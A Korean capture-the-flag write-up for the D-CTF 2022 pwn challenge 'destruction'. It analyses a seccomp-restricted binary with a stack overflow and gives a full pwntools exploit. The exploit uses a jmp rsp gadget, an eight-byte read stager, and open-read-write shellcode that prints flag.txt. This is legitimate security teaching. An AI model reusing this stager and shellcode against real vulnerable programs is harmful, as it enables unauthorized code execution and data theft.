DefCamp Capture the Flag (D-CTF) 2022 - destruction (seccomp, shellcode)

분석 환경: Windows 11, Ubuntu 20.04
사용자 제공 파일: 바이너리

해당 ctf에 pwn이 두 문제 나왔다. 이건 hard이다.

Analysis

보호 기법

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

아무것도 안걸려있다. 스택에서 쉘코드도 실행이 가능하다. 하지만 seccomp이 걸려있지.. 쉘코드 실행이 선택적으로 가능하다.

취약점

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 buf[3]; // [rsp+0h] [rbp-20h] BYREF
int v5; // [rsp+1Ch] [rbp-4h]

buf[0] = 0LL;
buf[1] = 0LL;
puts("Acces denied intruder detected!!");
v5 = 1;
seccomp();
if ( read(0, buf, 0x38uLL) <= 0 ) // bof
return 0LL;
if ( strncmp("done", (const char *)buf, 4uLL) )
exit(0);
return 0LL;
}

취약점은 간단하다. 바로 bof가 발생하는 것을 한 눈에 찾아볼 수 있다.

그리고 이 바이너리에서 중요한 점은 seccomp 함수가 정의되어 있다는 사실이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
{
printf("prctl(NO_NEW_PRIVS)");
}
else
{
if ( !prctl(22, 2LL, &v1) )
return 0LL;
printf("prctl(SECCOMP)");
puts("Test");
}
if ( *__errno_location() == 22 )
{
puts("SECCOMP_FILTER is not available. :(");
exit(0);
}
if ( !*__errno_location() )
__asm { jmp rsp }

seccomp-tools을 이용하여 편리하게 확인해보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
jir4vvit@ubuntu:~/ctf/dctf/destruction$ seccomp-tools dump ./destruction 
Acces denied intruder detected!!
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL

open, read, exit, write syscall을 사용할 수 있다.
즉,.. 쉘을 따는 문제가 아니라 flag를 ORW 해야하는 문제이다.

입력할 수 있는 바이트가 0x38인데 반해 buf 크기가 0x20이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
*RAX 0x0
RBX 0x400910 ◂— push r15
*RCX 0xfff0
*RDX 0x4
*RDI 0x400a09 ◂— outsd dx, dword ptr fs:[rsi] /* 'done' */
RSI 0x7ffeb916ffe0 ◂— 0x41414100656e6f64 /* 'done' */
R8 0x0
R9 0x7c
R10 0xfffffffffffff40f
*R11 0x4
R12 0x4005c0 ◂— xor ebp, ebp
R13 0x7ffeb91700f0 ◂— 0x1
R14 0x0
R15 0x0
*RBP 0x4141414141414141 ('AAAAAAAA')
*RSP 0x7ffeb9170008 ◂— 0x4242424242424242 ('BBBBBBBB')
*RIP 0x40090a ◂— ret
──────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────
0x4008ef test eax, eax
0x4008f1 jne 0x4008fa <0x4008fa>

0x4008f3 mov eax, 0
0x4008f8 jmp 0x400909 <0x400909>

0x400909 leave
► 0x40090a ret <0x4242424242424242>



──────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7ffeb9170008 ◂— 0x4242424242424242 ('BBBBBBBB')
01:0008│ 0x7ffeb9170010 ◂— 0x4343434343434343 ('CCCCCCCC')
02:0010│ 0x7ffeb9170018 —▸ 0x7ffeb91700f8 —▸ 0x7ffeb9170565 ◂— './destruction'
03:0018│ 0x7ffeb9170020 ◂— 0x190f647a0
04:0020│ 0x7ffeb9170028 —▸ 0x400886 ◂— push rbp
05:0028│ 0x7ffeb9170030 —▸ 0x400910 ◂— push r15
06:0030│ 0x7ffeb9170038 ◂— 0x29e4545047266017
07:0038│ 0x7ffeb9170040 —▸ 0x4005c0 ◂— xor ebp, ebp

당연하게도 ret 자리에 바로 쉘코드를 넣으면 안된다. jmp rsp라는 좋은 가젯이 존재해서 그것을 사용해야 한다. 그러면 rsp로 jump 하여 그 주소에 저장된 코드를 실행하려고 할 것이다. 만약 0x4242424242424242 대신 jmp rsp 가젯 주소를 넣는다면?

1
2
0x7ffeb9170008: 0x4141414141414141 0x0000000000400882 // jmp    rsp
0x7ffeb9170010: 0x4343434343434343 ...

0x4343434343434343 가 실행될 것이다.

아무튼 이거에 유의해서 retjmp rsp 주소를 넣어주면 된다. 그러면 우리가 적을 수 있는 바이트 수는 오직 8바이트만이 남는다.

흔한 트릭은 큰 바이트를 입력할 수 있는 read syscall을 호출하는 것이다. 이걸 8바이트로 구성하면 된다. read syscall을 구성하는 데에는 3개의 인수가 필요하다. 아니 syscall인까 4개가 필요하다.

rax, rdi, rsi, rdx

1
2
3
4
RAX  0x0
RDI 0x400a09 ◂— outsd dx, dword ptr fs:[rsi] /* 'done' */
RSI 0x7ffd095c5020 ◂— 0x41414100656e6f64 /* 'done' */
RDX 0x4
1
2
3
4
5
asm('''
xor rdi, rdi
mov dh, 0x2
syscall
''')

dh에 0x2를 대입하면 rdx는 결국 0x00000204가 된다.

flag 위치는 문제에서 알려줬으니, 그 이후엔 seccomp에 명시된 syscall들을 사용하면서 편하게 ORW 하면 된다.

Exploit

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context.arch='amd64'
context.log_level='DEBUG'

p = process('./destruction')
e = ELF('./destruction')

payload = ''
payload += 'done\x00'
payload += 'A' * (0x28-len(payload))
#payload += 'B' * 0x8 # ret
payload += p64(0x400882) # jmp rsp

print(len(payload))
payload += asm('''
xor rdi, rdi
mov dh, 0x2
syscall
''')
sleep(1)

p.send(payload)

shellcode = ''
shellcode += '\x90'*100
shellcode += asm('''
xor rdx, rdx
xor rsi, rsi
push rsi
mov rax, 0x7478742e67616c66
push rax
mov rdi, rsp
mov rax, 0x2
syscall

mov rdi, rax
xor rax, rax
mov rdx, 0x60
mov rsi, rsp
syscall

mov rax, 1
mov rdi, 1
syscall
''')

p.send(shellcode)

p.interactive()

Reference

Team P3WP3W’s writeups (no link)